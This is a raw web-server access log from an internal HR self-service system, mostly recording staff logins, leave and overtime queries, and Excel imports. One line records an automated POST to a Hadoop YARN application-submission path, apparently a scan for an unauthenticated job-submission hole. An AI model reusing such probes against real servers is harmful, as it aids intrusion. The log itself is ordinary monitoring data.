192.168.12.66 - - [05/Sep/2025:15:23:42 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:23:42 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.12.66 - - [05/Sep/2025:15:23:42 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:26:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45028
192.168.12.66 - - [05/Sep/2025:15:26:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45028 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:30:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44638
192.168.12.66 - - [05/Sep/2025:15:30:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44638 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [05/Sep/2025:15:36:26 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:15:36:26 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:15:39:01 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:15:39:01 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:15:39:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:15:39:55 +0800] "GET / HTTP/1.1" 200 439
192.168.12.66 - - [05/Sep/2025:15:39:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44638 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:39:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44638
100.64.0.1 - - [05/Sep/2025:15:40:01 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:15:40:01 +0800] "GET / HTTP/1.1" 200 439
192.168.11.35 - - [05/Sep/2025:15:40:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.35 - - [05/Sep/2025:15:40:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:15:40:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.35 - - [05/Sep/2025:15:40:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:15:40:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.35 - - [05/Sep/2025:15:40:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:15:40:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:15:40:39 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.35 - - [05/Sep/2025:15:40:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.35 - - [05/Sep/2025:15:40:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:15:40:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:15:40:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.35 - - [05/Sep/2025:15:40:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:15:40:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.35 - - [05/Sep/2025:15:41:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9177539698992321 HTTP/1.1" 200 8728
192.168.11.35 - - [05/Sep/2025:15:41:03 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9177539698992321 HTTP/1.1" 200 8728 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:15:41:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9177539698992321 HTTP/1.1" 200 14146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9177539698992321" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:15:41:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9177539698992321 HTTP/1.1" 200 14146
192.168.11.35 - - [05/Sep/2025:15:41:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4192
192.168.11.35 - - [05/Sep/2025:15:41:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4192 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:15:41:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.35 - - [05/Sep/2025:15:41:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:15:41:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166059 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:15:41:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166059
100.64.0.1 - - [05/Sep/2025:15:50:11 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [05/Sep/2025:15:50:11 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
192.168.12.66 - - [05/Sep/2025:15:55:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:55:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.12.66 - - [05/Sep/2025:15:55:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [05/Sep/2025:15:55:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:55:39 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.09466064122613682 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:55:39 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.09466064122613682 HTTP/1.1" 200 5264
192.168.12.66 - - [05/Sep/2025:15:56:01 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.09466064122613682 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.09466064122613682" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:56:01 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.09466064122613682 HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:15:56:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5276
192.168.12.66 - - [05/Sep/2025:15:56:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.09466064122613682" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:56:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5076 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:56:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5076
192.168.11.35 - - [05/Sep/2025:16:02:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.35 - - [05/Sep/2025:16:02:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:16:02:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.35 - - [05/Sep/2025:16:02:34 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:16:02:37 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:16:02:37 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.35 - - [05/Sep/2025:16:02:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.35 - - [05/Sep/2025:16:02:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:16:02:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.35 - - [05/Sep/2025:16:02:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:16:02:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.35 - - [05/Sep/2025:16:02:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:16:02:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8243
192.168.11.35 - - [05/Sep/2025:16:02:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8243 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:16:02:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 180078
192.168.11.35 - - [05/Sep/2025:16:02:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 180078 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.66 - - [05/Sep/2025:16:03:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [05/Sep/2025:16:03:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:16:03:29 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4917185234698507 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:16:03:29 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4917185234698507 HTTP/1.1" 200 5264
192.168.12.66 - - [05/Sep/2025:16:03:33 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4917185234698507 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4917185234698507" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:16:03:33 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4917185234698507 HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:16:03:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5545
192.168.12.66 - - [05/Sep/2025:16:03:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5545 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4917185234698507" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:16:03:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5294
192.168.12.66 - - [05/Sep/2025:16:03:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5294 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:16:03:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.12.66 - - [05/Sep/2025:16:03:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:16:04:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44638
192.168.12.66 - - [05/Sep/2025:16:04:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44638 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.35 - - [05/Sep/2025:16:04:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 83814
192.168.11.35 - - [05/Sep/2025:16:04:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 83814 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.66 - - [05/Sep/2025:16:05:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 40327 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:16:05:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 40327
192.168.12.66 - - [05/Sep/2025:16:05:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:16:05:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
100.64.0.1 - - [05/Sep/2025:16:05:11 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-70.so HTTP/1.1" 200 24672
100.64.0.1 - - [05/Sep/2025:16:05:11 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-70.so HTTP/1.1" 200 24672 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
192.168.12.66 - - [05/Sep/2025:16:05:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54630 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:16:05:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54630
100.64.0.1 - - [05/Sep/2025:16:05:30 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:16:05:30 +0800] "GET / HTTP/1.1" 200 439
192.168.11.35 - - [05/Sep/2025:16:05:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [05/Sep/2025:16:05:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
100.64.0.1 - - [05/Sep/2025:16:07:42 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:16:07:42 +0800] "GET / HTTP/1.1" 200 439
192.168.11.152 - - [05/Sep/2025:16:18:52 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.152 - - [05/Sep/2025:16:18:52 +0800] "GET / HTTP/1.1" 200 439
192.168.11.152 - - [05/Sep/2025:16:18:52 +0800] "GET /favicon.ico HTTP/1.1" 404 209
